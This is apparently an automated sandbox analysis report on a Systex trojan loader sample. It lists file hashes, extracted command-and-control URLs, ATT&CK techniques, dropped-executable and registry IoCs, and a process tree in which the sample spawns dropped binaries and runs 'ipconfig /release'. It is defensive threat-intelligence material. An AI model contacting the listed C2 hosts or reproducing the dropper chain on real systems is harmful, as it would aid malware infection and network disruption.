systex | d8278580e3fd28d25a6c3cbd95e972d2520e8209d1abe360732e0094dbb0edb2

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 13:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Size 376KB
Sample260930-raryrstdkf
SHA256 d8278580e3fd28d25a6c3cbd95e972d2520e8209d1abe360732e0094dbb0edb2
MD5 0d88586beff211d77c4c3279da536f47
SHA1 267a2b5aa14cdba2e2e677aed2edaf102f1fca7b
SHA512 af9f8e069b78e00d5f6a11fe5c7540d6eefb84d9edaef02e98748e3e27ba9e916bb9033377876b013d602649f0fee04143624a21c791283e35f90e51428e0919
SSDEEP 3072:GjyLJAZaMr4yhtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:YyLJq/IJjiJcbI03GBc3ucY5DCSjX
TLSH
T1A5847C04BAA4F0B6D995043800EF9F3A967E74281726CBC7E754CE5D9A113C3AA3469F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
2432	jdbwtomgeywrojgb.exe
2212	jdbwtomgeywrojgb.sys
1244	CreateProcess.exe
3088	jdbwtrljge.exe
2540	CreateProcess.exe
1156	CreateProcess.exe
3348	i_jdbwtrljge.exe
1136	qomgeywqoj.sys
1328	CreateProcess.exe
4744	gaywqoigay.exe
5536	CreateProcess.exe
5984	CreateProcess.exe
2836	i_gaywqoigay.exe
6056	lfdbvtnlgd.sys
3884	CreateProcess.exe
5132	gayvtnlida.exe
4700	CreateProcess.exe
2956	CreateProcess.exe
5148	i_gayvtnlida.exe
4388	tqkidavtnl.sys
2456	CreateProcess.exe
4832	qkicavsnlf.exe
3064	CreateProcess.exe
1384	CreateProcess.exe
2428	i_qkicavsnlf.exe
2936	icavsnkfdx.sys
5816	CreateProcess.exe
2828	usmkicausq.exe
2292	CreateProcess.exe
2000	CreateProcess.exe
4292	i_usmkicausq.exe
2724	auspkicaus.sys
5268	CreateProcess.exe
1112	smkfcwupmh.exe
1448	CreateProcess.exe
4108	CreateProcess.exe
4664	i_smkfcwupmh.exe
3336	upmkeczxrp.sys
4464	CreateProcess.exe
3548	urpjhecwur.exe
5084	CreateProcess.exe
3352	CreateProcess.exe
4232	i_urpjhecwur.exe
3096	wuomhezwrp.sys
3944	CreateProcess.exe
2160	wuomkecwuo.exe
2180	CreateProcess.exe
5208	CreateProcess.exe
6000	i_wuomkecwuo.exe
5688	mjebwuomjh.sys
4952	CreateProcess.exe
1044	mgeytrojhb.exe
3392	CreateProcess.exe
4360	CreateProcess.exe
3216	i_mgeytrojhb.exe
1056	ojgbztrljg.sys
4772	CreateProcess.exe
3096	wtolgeywqo.exe
4312	CreateProcess.exe
3156	CreateProcess.exe
1916	i_wtolgeywqo.exe
3368	ytqljgbywq.sys
5056	CreateProcess.exe
5544	vtnlgdywqo.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5464_1650397558\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5464_1650397558\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5464_1962774733\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5464_1650397558\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5464_1650397558\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5464_1545560139\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5464_1344710650\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5464_1344710650\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5464_1962774733\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbwtrljge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gayvtnlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxrpkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gayvtnlida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urpjhecwur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_roigebwtro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkicavsnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgeytrojhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrojgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtrljge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	smkfcwupmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wtolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxrpkhca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	roigebwtro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bytrljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomkecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgeytrojhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wtolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvpnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtomgeywrojgb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaywqoigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxvqnifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvpnifays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkicavsnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkicausq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_smkfcwupmh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urpjhecwur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxvqnifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkicausq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrojgbztrl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bytrljdbvt.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4100	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5876	ipconfig.exe
5500	ipconfig.exe
3984	ipconfig.exe
4320	ipconfig.exe
3276	ipconfig.exe
252	ipconfig.exe
4728	ipconfig.exe
5532	ipconfig.exe
5032	ipconfig.exe
2120	ipconfig.exe
4796	ipconfig.exe
4368	ipconfig.exe
5312	ipconfig.exe
1824	ipconfig.exe
3580	ipconfig.exe
5892	ipconfig.exe
5380	ipconfig.exe
4508	ipconfig.exe
2984	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2251218687-1689653882-3767565116-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2251218687-1689653882-3767565116-1000\{BDE1F329-3B65-4744-9DD9-465B061D7D40}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
2432	jdbwtomgeywrojgb.exe
2432	jdbwtomgeywrojgb.exe
2432	jdbwtomgeywrojgb.exe
2432	jdbwtomgeywrojgb.exe
2432	jdbwtomgeywrojgb.exe
2432	jdbwtomgeywrojgb.exe
2432	jdbwtomgeywrojgb.exe
2432	jdbwtomgeywrojgb.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5464	msedge.exe
5464	msedge.exe
5464	msedge.exe
5464	msedge.exe
5464	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3348	i_jdbwtrljge.exe
Token: SeDebugPrivilege	2836	i_gaywqoigay.exe
Token: SeDebugPrivilege	5148	i_gayvtnlida.exe
Token: SeDebugPrivilege	2428	i_qkicavsnlf.exe
Token: SeDebugPrivilege	4292	i_usmkicausq.exe
Token: SeDebugPrivilege	4664	i_smkfcwupmh.exe
Token: SeDebugPrivilege	4232	i_urpjhecwur.exe
Token: SeDebugPrivilege	6000	i_wuomkecwuo.exe
Token: SeDebugPrivilege	3216	i_mgeytrojhb.exe
Token: SeDebugPrivilege	1916	i_wtolgeywqo.exe
Token: SeDebugPrivilege	1472	i_vtnlgdywqo.exe
Token: SeDebugPrivilege	200	i_fdxvqnifay.exe
Token: SeDebugPrivilege	4148	i_dxvpnifays.exe
Token: SeDebugPrivilege	5744	i_hfzxrpkhca.exe
Token: SeDebugPrivilege	4332	i_pmhfzxrpjh.exe
Token: SeDebugPrivilege	4808	i_hfzxrpjhcz.exe
Token: SeDebugPrivilege	3244	i_wrojgbztrl.exe
Token: SeDebugPrivilege	3372	i_roigebwtro.exe
Token: SeDebugPrivilege	4132	i_bytrljdbvt.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5464	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 848 wrote to memory of 2432	848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 848 wrote to memory of 1148	848	2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 1148 wrote to memory of 5464	1148	iexplore.exe	91
PID 5464 wrote to memory of 3020	5464	msedge.exe	92
PID 5464 wrote to memory of 4100	5464	msedge.exe	94
PID 5464 wrote to memory of 1236	5464	msedge.exe	95
PID 5464 wrote to memory of 1236	5464	msedge.exe	95
PID 5464 wrote to memory of 1236	5464	msedge.exe	95
PID 5464 wrote to memory of 4468	5464	msedge.exe	96
PID 5464 wrote to memory of 4468	5464	msedge.exe	96
PID 5464 wrote to memory of 5352	5464	msedge.exe	97
PID 5464 wrote to memory of 5352	5464	msedge.exe	97
PID 5464 wrote to memory of 3740	5464	msedge.exe	98
PID 5464 wrote to memory of 5352	5464	msedge.exe	97
PID 5464 wrote to memory of 3740	5464	msedge.exe	98
PID 5464 wrote to memory of 3740	5464	msedge.exe	98
PID 5464 wrote to memory of 1908	5464	msedge.exe	99
PID 5464 wrote to memory of 1776	5464	msedge.exe	100
PID 5464 wrote to memory of 1908	5464	msedge.exe	99
PID 5464 wrote to memory of 1908	5464	msedge.exe	99
PID 5464 wrote to memory of 1776	5464	msedge.exe	100
PID 5464 wrote to memory of 1776	5464	msedge.exe	100
PID 5464 wrote to memory of 4116	5464	msedge.exe	101
PID 5464 wrote to memory of 4116	5464	msedge.exe	101
PID 2432 wrote to memory of 1244	2432	jdbwtomgeywrojgb.exe	105
PID 5464 wrote to memory of 4724	5464	msedge.exe	108
PID 5464 wrote to memory of 5640	5464	msedge.exe	109
PID 5464 wrote to memory of 4724	5464	msedge.exe	108
PID 5464 wrote to memory of 5640	5464	msedge.exe	109
PID 3088 wrote to memory of 2540	3088	jdbwtrljge.exe	110
PID 5464 wrote to memory of 2528	5464	msedge.exe	114
PID 5464 wrote to memory of 5316	5464	msedge.exe	115
PID 5464 wrote to memory of 5316	5464	msedge.exe	115
PID 5464 wrote to memory of 4936	5464	msedge.exe	118
PID 5464 wrote to memory of 4936	5464	msedge.exe	118
PID 2432 wrote to memory of 1156	2432	jdbwtomgeywrojgb.exe	119
PID 2432 wrote to memory of 1328	2432	jdbwtomgeywrojgb.exe	123
PID 4744 wrote to memory of 5536	4744	gaywqoigay.exe	125
PID 2432 wrote to memory of 5984	2432	jdbwtomgeywrojgb.exe	128
PID 2432 wrote to memory of 3884	2432	jdbwtomgeywrojgb.exe	132
PID 5132 wrote to memory of 4700	5132	gayvtnlida.exe	134
PID 2432 wrote to memory of 2956	2432	jdbwtomgeywrojgb.exe	137
PID 2432 wrote to memory of 2456	2432	jdbwtomgeywrojgb.exe	142
PID 4832 wrote to memory of 3064	4832	qkicavsnlf.exe	144
PID 2432 wrote to memory of 1384	2432	jdbwtomgeywrojgb.exe	147
PID 5464 wrote to memory of 4628	5464	msedge.exe	149
PID 5464 wrote to memory of 1176	5464	msedge.exe	150
PID 5464 wrote to memory of 4136	5464	msedge.exe	151
PID 2432 wrote to memory of 5816	2432	jdbwtomgeywrojgb.exe	154
PID 2828 wrote to memory of 2292	2828	usmkicausq.exe	156
PID 2432 wrote to memory of 2000	2432	jdbwtomgeywrojgb.exe	159
PID 2432 wrote to memory of 5268	2432	jdbwtomgeywrojgb.exe	163
PID 1112 wrote to memory of 1448	1112	smkfcwupmh.exe	165
PID 2432 wrote to memory of 4108	2432	jdbwtomgeywrojgb.exe	168
PID 2432 wrote to memory of 4464	2432	jdbwtomgeywrojgb.exe	172
PID 3548 wrote to memory of 5084	3548	urpjhecwur.exe	174
PID 2432 wrote to memory of 3352	2432	jdbwtomgeywrojgb.exe	177
PID 2432 wrote to memory of 3944	2432	jdbwtomgeywrojgb.exe	181
PID 2160 wrote to memory of 2180	2160	wuomkecwuo.exe	183
PID 2432 wrote to memory of 5208	2432	jdbwtomgeywrojgb.exe	186
PID 5464 wrote to memory of 1976	5464	msedge.exe	188
PID 5464 wrote to memory of 1976	5464	msedge.exe	188
PID 2432 wrote to memory of 4952	2432	jdbwtomgeywrojgb.exe	194
PID 1044 wrote to memory of 3392	1044	mgeytrojhb.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-30_0d88586beff211d77c4c3279da536f47_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:848
- C:\Temp\jdbwtomgeywrojgb.exe
  C:\Temp\jdbwtomgeywrojgb.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jdbwtrljge.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1244
  - - C:\Temp\jdbwtrljge.exe
      C:\Temp\jdbwtrljge.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3088
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2540
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5312
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jdbwtrljge.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1156
  - - C:\Temp\i_jdbwtrljge.exe
      C:\Temp\i_jdbwtrljge.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3348
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gaywqoigay.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1328
  - - C:\Temp\gaywqoigay.exe
      C:\Temp\gaywqoigay.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4744
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5536
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5876
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gaywqoigay.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5984
  - - C:\Temp\i_gaywqoigay.exe
      C:\Temp\i_gaywqoigay.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2836
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gayvtnlida.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3884
  - - C:\Temp\gayvtnlida.exe
      C:\Temp\gayvtnlida.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5132
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4700
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4796
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gayvtnlida.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2956
  - - C:\Temp\i_gayvtnlida.exe
      C:\Temp\i_gayvtnlida.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qkicavsnlf.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2456
  - - C:\Temp\qkicavsnlf.exe
      C:\Temp\qkicavsnlf.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
